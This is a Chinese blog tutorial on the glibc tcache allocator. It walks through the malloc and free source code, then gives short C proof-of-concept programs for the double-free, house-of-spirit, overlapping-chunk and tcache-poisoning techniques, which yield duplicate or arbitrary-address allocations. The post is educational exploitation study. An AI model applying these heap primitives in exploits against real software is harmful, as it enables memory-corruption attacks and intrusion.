目录
  1. 1. 前言
  2. 2. 源码分析
    1. 2.1. 相关数据结构
    2. 2.2. 基本操作
    3. 2.3. tcache_put
    4. 2.4. tcache_get
  3. 3. tcache in malloc
    1. 3.1. __libc_malloc
    2. 3.2. _int_malloc
      1. 3.2.1. 处理fastbin
      2. 3.2.2. 处理 smallbin
      3. 3.2.3. 遍历unsorted bin
  4. 4. tcache in free
  5. 5. 总结
  6. 6. tcache_dup
    1. 6.1. 介绍
    2. 6.2. 代码
  7. 7. tcache_house_of_spirit
    1. 7.1. 介绍
    2. 7.2. 代码
  8. 8. overlapping_chunks_by_caching
    1. 8.1. 介绍
    2. 8.2. 代码
  9. 9. tcache_poisoning
    1. 9.1. 介绍
    2. 9.2. 代码
  • 总结
  • 参考
  • tcache机制

    前言

    glibc 2.26 开始引入了 tcache , 相关的 commit 可以看
    https://sourceware.org/git/p=glibc.git;a=commitdiff;h=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc
    加入 tcache 对性能有比较大的提升,不过由于 tcache 的存在 ,一些利用方式的限制条件就少了许多。具体往下看。

    相关文件位于 https://github.com/andigena/ptmalloc-fanzine/tree/master/05-tcache

    源码分析

    首先分析分析源码,看看 tcache 的工作原理

    相关数据结构

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    typedef struct tcache_entry
    {
    struct tcache_entry *next;
    } tcache_entry;


    typedef struct tcache_perthread_struct
    {
    char counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS]; // TCACHE_MAX_BINS = 64
    } tcache_perthread_struct;

    tcache 也是使用 类似 bins 方式来管理tcache

    tcache_perthread_struct 是整个tcache

    每一项由 相同大小的 chunk 通过 tcache_entry 使用单向链表链接(类似于fastbin的链接方式)。

    counts 用于记录 entries 中每一项当前链入的 chunk 数目, 最多可以有 7 个 chunk。

    tcache_entry 用于链接 chunk 的结构体, 其中就一个 next 指针,指向下一个相同大小的 chunk.

    基本操作

    下面通过分析对 tcache 的两个基本操作理解上面结构体的作用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    static __always_inline void
    tcache_put (mchunkptr chunk, size_t tc_idx)
    {
    tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
    assert (tc_idx < TCACHE_MAX_BINS);
    e->next = tcache->entries[tc_idx];
    tcache->entries[tc_idx] = e; // 增加到链表头部
    ++(tcache->counts[tc_idx]); // 记录当前 bin 的 chunk数
    }

    static __always_inline void *
    tcache_get (size_t tc_idx)
    {
    tcache_entry *e = tcache->entries[tc_idx];
    assert (tc_idx < TCACHE_MAX_BINS);
    assert (tcache->entries[tc_idx] > 0);
    tcache->entries[tc_idx] = e->next;
    --(tcache->counts[tc_idx]);
    return (void *) e;
    }

    tcache_put

    用于把一个 chunk 放到 指定的 tcache->entries 里面去, tc_idx 通过 csize2tidx (nb) 计算得到 (nbchunk 的大小)。

    它首先把 chunk+2*SIZE_SZ (就是除去 header 部分) 强制转换成 tcache_entry * 类型,然后插入到 tcache->entries[tc_idx] 的首部,最后把 tcache->counts[tc_idx]1 ,表示新增了一个 chunk 到 该 表项。

    tcache_get

    根据 tc_idx 取出 tcache->entries[tc_idx] 的第一个chunk , 然后把 指针强制转换为 (void *)

    这样就可以大概得到一个图

    • tcache->entries 的每一项通过 单向链表链接 chunk
    • tcache_entrymalloc chunk 是重叠的, tcache_entry->nextchunk->fd 是一个位置。

    tcache in malloc

    __libc_malloc

    malloc 的入口点是 __libc_malloc (做了一些注释)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    __libc_malloc (size_t bytes)
    {
    .............
    .............
    .............
    #if USE_TCACHE
    /* int_free also calls request2size, be careful to not pad twice. */
    size_t tbytes;
    checked_request2size (bytes, tbytes); // tbytes 为 bytes请求的 转换后得到的 chunk 的 size
    size_t tc_idx = csize2tidx (tbytes); // 根据大小 tbytes , 找到 tcache->entries 索引
    MAYBE_INIT_TCACHE ();
    DIAG_PUSH_NEEDS_COMMENT;
    if (tc_idx < mp_.tcache_bins
    /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
    && tcache
    && tcache->entries[tc_idx] != NULL) // 如果 tcache->entries[tc_idx] 有 chunk ,就返回
    {
    return tcache_get (tc_idx); // 调用 tcache_get 拿到 chunk 然后返回
    }
    DIAG_POP_NEEDS_COMMENT;
    #endif
    if (SINGLE_THREAD_P)
    {
    victim = _int_malloc (&main_arena, bytes);
    assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
    &main_arena == arena_for_chunk (mem2chunk (victim)));
    return victim;
    }

    arena_get (ar_ptr, bytes);
    victim = _int_malloc (ar_ptr, bytes);

    首先判断 tcache->entries[tc_idx] 里面有没有 chunk ,如果有就直接返回,否则进入 _int_malloc 分配内存。

    下面看看 _int_malloc (主要看 tcache 处理的部分)

    _int_malloc

    处理fastbin

    首先是把 请求的 size 转换成 实际 malloc 内部的 size ,然后定义了一个宏

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    // 从 fastbin里面移除 pp
    #define REMOVE_FB(fb, victim, pp) \
    do \
    { \
    victim = pp; \
    if (victim == NULL) \
    break; \
    } \
    while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
    != victim);

    用于多线程的中从 fastbin 里面移除一个 chunk.

    然后进入分配的流程, 首先如果 sizefastbin 的范围内进入, fastbin 分配的流程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
     if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
    idx = fastbin_index (nb);
    mfastbinptr *fb = &fastbin (av, idx);
    mchunkptr pp;
    victim = *fb;

    if (victim != NULL)
    {
    if (SINGLE_THREAD_P)
    *fb = victim->fd;
    else
    REMOVE_FB (fb, pp, victim);
    if (__glibc_likely (victim != NULL))
    {
    size_t victim_idx = fastbin_index (chunksize (victim));
    if (__builtin_expect (victim_idx != idx, 0))
    malloc_printerr ("malloc(): memory corruption (fast)");
    check_remalloced_chunk (av, victim, nb);
    #if USE_TCACHE

    size_t tc_idx = csize2tidx (nb);
    if (tcache && tc_idx < mp_.tcache_bins) // 把该 fastbin 里面其他的 bin 放到 tcache 里面
    {
    mchunkptr tc_victim;

    /* While bin not empty and tcache not full, copy chunks. */
    while (tcache->counts[tc_idx] < mp_.tcache_count // 判断 tcache 中指定 bin 中 chunk 是否超过 7
    && (tc_victim = *fb) != NULL)
    {
    if (SINGLE_THREAD_P)
    *fb = tc_victim->fd;
    else
    {
    REMOVE_FB (fb, pp, tc_victim);
    if (__glibc_unlikely (tc_victim == NULL))
    break;
    }
    tcache_put (tc_victim, tc_idx);
    }
    }
    #endif
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
    }
    }
    }
    • 在 相应 fastbin 找到 合适的 chunk 后,就把 该 chunkfastbin 里面拿下来
    • 然后 把相应 fastbin 里面剩下的 chunk 全都放到 tcache 里面 , 直到 tcache->entries[tc_idx] 满了 (已经有 7chunk 了,即 tcache->counts[tc_idx] = mp_.tcache_count = 7 )。
    • 最后在返回一开始拿到的 chunk 给用户

    如果 fastbin 不能分配,则进入 smallbin 的分配流程

    处理 smallbin

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    if (in_smallbin_range (nb))
    {
    idx = smallbin_index (nb);
    bin = bin_at (av, idx);

    if ((victim = last (bin)) != bin)
    {
    bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim))
    malloc_printerr ("malloc(): smallbin double linked list corrupted");
    set_inuse_bit_at_offset (victim, nb);
    bin->bk = bck;
    bck->fd = bin; // 找到 chunk , 从 smallbin拿下来准备返回给用户

    if (av != &main_arena)
    set_non_main_arena (victim);
    check_malloced_chunk (av, victim, nb);
    #if USE_TCACHE
    /* While we're here, if we see other chunks of the same size, // 把指定 smallbin 里面的 bin扔到 tcache里面
    stash them in the tcache. */
    size_t tc_idx = csize2tidx (nb);
    if (tcache && tc_idx < mp_.tcache_bins)
    {
    mchunkptr tc_victim;

    /* While bin not empty and tcache not full, copy chunks over. */
    while (tcache->counts[tc_idx] < mp_.tcache_count
    && (tc_victim = last (bin)) != bin)
    {
    if (tc_victim != 0)
    {
    bck = tc_victim->bk;
    set_inuse_bit_at_offset (tc_victim, nb);
    if (av != &main_arena)
    set_non_main_arena (tc_victim);
    bin->bk = bck;
    bck->fd = bin;

    tcache_put (tc_victim, tc_idx);
    }
    }
    }
    #endif
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
    }
    }

    fastbin 是类似的操作, 在 size 对应的 smallbin 里面找到 chunk

    把这个 chunk 从链表上取下来

    然后把该 smallbin 里面剩下的 bin 放入到 tcache , 直到 tcache->entries[tc_idx] 满.

    如果 smallbin 也没能分配,进入 unsorted bin

    遍历unsorted bin

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
     int iters = 0;
    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
    {
    ....................
    ....................
    ....................
    /* remove from unsorted list */
    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);
    // 把 bin 从 unsorted bin 里面拿下来后,先放入 tcache
    #if USE_TCACHE
    // 如果unsorted bin 的大小正好,扔到 tcache ,然后继续遍历
    We may return one of these chunks later. */
    if (tcache_nb
    && tcache->counts[tc_idx] < mp_.tcache_count)
    {
    tcache_put (victim, tc_idx);
    return_cached = 1;
    continue;
    }
    else
    {
    #endif
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
    #if USE_TCACHE
    }
    #endif
    }

    //大小不刚好等于需要的size 的话,就把 bin放到 相应的 bin 里面。
    .......................................
    .......................................
    .......................................
    #if USE_TCACHE
    //如果有 大小适配的 unsorted bin 进入了 tcache(return_cached=1) 同时 mp_.tcache_unsorted_limit > 0 默认为 0 ,不会进入分支, 继续遍历
    ++tcache_unsorted_count;
    if (return_cached
    && mp_.tcache_unsorted_limit > 0
    && tcache_unsorted_count > mp_.tcache_unsorted_limit)
    {
    return tcache_get (tc_idx);
    }
    #endif

    .......................................
    .......................................
    .......................................
    } // end of while ((victim = unsorted_chunks (av)->b

    //遍历完 unsorted bin 后 ,根据 return_cached 判断 tcache 里面是否有合适的 chunk
    #if USE_TCACHE
    /* If all the small chunks we found ended up cached, return one now. */
    if (return_cached)
    {
    return tcache_get (tc_idx);
    }
    #endif
    • 在遍历 unsorted bin 的时候, 如果找到大小刚好满足的 bin , 不会立刻返回,而是把这个 bin 放入 tcache 里面,并且设置 return_cached=1 ,表示 有 大小适配的 unsorted bin 进入了 tcache
    • 如果大小不是正好满足需要,就走一般的流程,把 bin 放到相应的 smallbin 或者 largebin 里面
    • 遍历 unsorted bin 的最后,会根据 return_cached 判断是否有 大小适配的 unsorted bin 进入了 tcachemp_.tcache_unsorted_limit 默认为 0 ,所以不会进入分支, 这样就会把所有的 unsorted bin 都放入到 tcache
    • 遍历完 unsorted bin 后 ,根据 return_cached 判断 tcache 里面是否有合适的 chunk ,有的话就可以返回了
    • 否则 large bintop chunk 来分配

    tcache in free

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    static void
    _int_free (mstate av, mchunkptr p, int have_lock)
    {

    size = chunksize (p);
    check_inuse_chunk(av, p);
    #if USE_TCACHE
    {
    size_t tc_idx = csize2tidx (size); // tcache bin 的索引

    if (tcache
    && tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin
    && tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量
    {
    tcache_put (p, tc_idx);
    return;
    }
    }
    #endif

    删掉了一些没影响的代码

    • 首先就是获取要释放的 chunksize , 然后判断 size 是否符和规范(是否对齐之类的 check ), 如果合规就看 tcache->counts[tc_idx] 是否已经满了 ,如果没有满就直接放入 tcache , 然后返回。
    • 否则就和没有 tcache 是一样的处理

    总结

    free 的时候,会检测 p 的下一个 chunk( next )PREV_INUSE 位,但是如果 chunk 被放入了 tcache ,next->PREV_INUSE 位不会被修改 ,所以还是会标志为 in_used . 所以我们可以 多次释放同一个 chunk .

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
      size = chunksize (p);


    if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
    || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");

    if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

    check_inuse_chunk(av, p); // 通过下一个 chunk 的 pre_inused 位,判断当前 chunk 释放已经被释放

    #if USE_TCACHE
    {
    size_t tc_idx = csize2tidx (size); // tcache bin 的索引

    if (tcache
    && tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin
    && tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量
    {
    tcache_put (p, tc_idx); // 如果 chunk 被放入了 tcache ,next->pre_inuse 不会被修改。
    return;
    }
    }
    #endif

    同时在 malloc 的时候 ,先尝试 tcache 分配

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    void *
    __libc_malloc (size_t bytes)
    {
    #if USE_TCACHE
    size_t tbytes;
    checked_request2size (bytes, tbytes);
    size_t tc_idx = csize2tidx (tbytes);
    if (tc_idx < mp_.tcache_bins
    && tcache
    && tcache->entries[tc_idx] != NULL)
    {
    return tcache_get (tc_idx);
    }
    #endif

    这也使得很多安全检测不会被执行。

    tcache_dup

    介绍

    通过 free 2次同一个 chunk , 使得可以让两个指针分配到同一块内存

    代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #include <stdlib.h>
    #include <stdio.h>
    #include <stdint.h>

    int main() {
    void* p1 = malloc(0x40);
    free(p1);
    free(p1);
    printf("Next allocated memory will be same: %p %p\n", malloc(0x40), malloc(0x40));
    }
    • 通过 _int_free 的源码我们知道, 在 free 的时候,会检测 p 的下一个 chunk ( next ) 的 PREV_INUSE
    • 然后如果 tcache 指定项没有满就把 chunk 加入 tcache
    • 但是如果 chunk 被放入了 tcachenext->PREV_INUSE 位不会被修改 ,所以还是会标志为 in_used . 所以我们可以 多次释放同一个 chunk .

    所以我们释放两次 p1 , 此时 tcache 里面 size0x50 ( chunk 大小) 的项中就有 两个 一样 chunk

    然后分配两次一样大小的 chunkmalloc 会先用 tcache 分配,就会拿到两个一样的 chunk

    可以看到分配到了两个地址一样的 chunk .

    tcache_house_of_spirit

    介绍

    通过伪造 size ,然后 free 掉这个 伪造的 chunk , 然后再分配 size 大小的 chunk , 就可以分配到指定位置。

    代码

    首先看看源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    #include <stddef.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <string.h>

    int main(int argc, const char* argv[]) {
    size_t fake_chunk_and_more[64];
    memset(fake_chunk_and_more, 'A', sizeof(fake_chunk_and_more));
    printf("stack buf: %p\n", (void *)fake_chunk_and_more);

    char* fake_chunk = (char * )fake_chunk_and_more;
    *(long *)(fake_chunk + sizeof(long)) = 0x110;

    *(long *)(fake_chunk + 0x110 + sizeof(long)) = 0x40; // 设置 pre_inused 位
    char *mem = fake_chunk + 2*sizeof(long);
    free(mem);

    void *mem2 = malloc(0x100);
    printf("malloc(0x100) returned: %p\n", mem2);

    return 0;
    }

    就是在栈上面(用栈只是为了方便)伪造了 一个 0x110 大小 chunk

    然后把它释放掉,他就会进入 tcache ,然后分配 0x110chunk 就可以 分配到 fake_chunk_and_more 的地址

    可以看到分配到了fake_chunk_and_more .

    调试过程的内存状态

    熟悉 malloc 管理机制的老哥们可以比较奇怪,这里把 next_chunk->pre_inused = 0 ( size = 0x40 ) 。

    在 源码里面是有通过 check_inuse_chunk 检测是否 double free 的 代码的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    _int_free (mstate av, mchunkptr p, int have_lock)
    {
    size = chunksize (p);
    ....................................................
    ....................................................
    check_inuse_chunk(av, p);
    #if USE_TCACHE
    {
    size_t tc_idx = csize2tidx (size); // tcache bin 的索引
    if (tcache
    && tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin
    && tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量
    {
    tcache_put (p, tc_idx);
    return;
    }
    }
    #endif

    但是从 ida 里面去看,居然不见了,校验 chunksize 和 指针 后就直接进入 tcache 的处理的流程, 于是这里就算设置 下一个chunknext_chunk->pre_inuse = 0 ,也不会出现 crash

    overlapping_chunks_by_caching

    介绍

    overlapping_chunks 这种技术非常经典了, 不过在 tcache 里面就非常的简单了, 修改 chunksizefake_size , 然后 free 掉它,就会进入 fake_size 对应的 tcache , 然后在 分配 fake_sizechunk 就可以拿到这个 chunk , overlap chunk

    代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    #include <stddef.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    int main(int argc, const char* argv[]) {
    char *mem = malloc(0x48);
    char *sentry = malloc(0x18);
    memset(sentry, 'b', 0x10);
    printf("mem: %p, sentry: %p\n",mem, sentry);
    printf("sentry content: %s\n", sentry);
    *(long* )(mem - sizeof(long)) = 0x110; // 设置 chunk->size = 0x110
    free(mem);
    char *mem2 = malloc(0x100); // 分配一个 0x110 的chunk
    memset(mem2, 'a', 0x100);
    printf("mem2: %p\n", mem2);
    printf("sentry content: %s\n", sentry);
    return 0;
    }

    通过修改 mem 所在 chunksize0x110

    然后释放掉他 ,然后分配一个 0x110chunk ,我们就会再次分配到它。此时 mem2chunk 包含了 sentrychunk

    tcache_poisoning

    介绍

    通过修改 free 状态的 tcache 里面的 chunkfd (其实就是 tcache_entry->next ) ,可以分配到任意地址

    代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    #include <malloc.h>
    #include <stddef.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    int main(int argc, const char* argv[]) {
    size_t target[6];
    printf("stack: %p\n",target);
    char *mem = malloc(0x48);
    free(mem);
    *(long *)(mem) = (long)target;
    char *mem1 = malloc(0x48);
    char *mem2 = malloc(0x48);
    printf("mem2: %p\n", mem2);
    return 0;
    }

    分配一个 0x50chunk 然后释放它,进入 tcache ,然后修改 fdtarget

    然后分配两次 0x50chunk 就可以分配到 target

    成功分配到了 栈上面。

    其实 fd 为任意地址都行,原因在于 tcache_get 直接从 tcache->entries 里面拿 chunk , 而不检查 拿到的 chunk 是否合法。

    同时 在 malloc 分配内存时,首先使用 tcache ,而它判断 tcache 有没有可以分配的 chunk , 是直接判断指定项有没有指针。

    1
    2
    3
    4
    5
    6
    7
    8
    9
      DIAG_PUSH_NEEDS_COMMENT;
    if (tc_idx < mp_.tcache_bins
    && tcache
    && tcache->entries[tc_idx] != NULL) // 根据tcache->entries[tc_idx]是否为空判断是否有chunk
    {
    return tcache_get (tc_idx);
    }
    DIAG_POP_NEEDS_COMMENT;
    #endif

    总结

    tcache 的引入使得 heap 相关的漏洞的利用非常的简单了。

    简单的原因主要在于 tcache 里面没有做什么检查, 同时还会优先使用这使得原来 malloc 里面的 check 也没有了作用。

    free 的话 释放内存如果大小在 tcache 的范围内, 只检测 size 和 指针 是否合法,而且检测非常弱。

    malloc 时 也是优先使用 tcache , 只要 tcache->entries[tc_idx] 非空就可以从 tcache 分配。

    参考

    http://tukan.farm/2017/07/08/tcache/

    https://www.anquanke.com/post/id/104760

    https://www.cnblogs.com/hac425/p/9416796.html

    文章作者: nocbtm
    文章链接: https://nocbtm.github.io/2020/02/27/tcache机制/
    版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
    打赏
    • 微信
    • 支付宝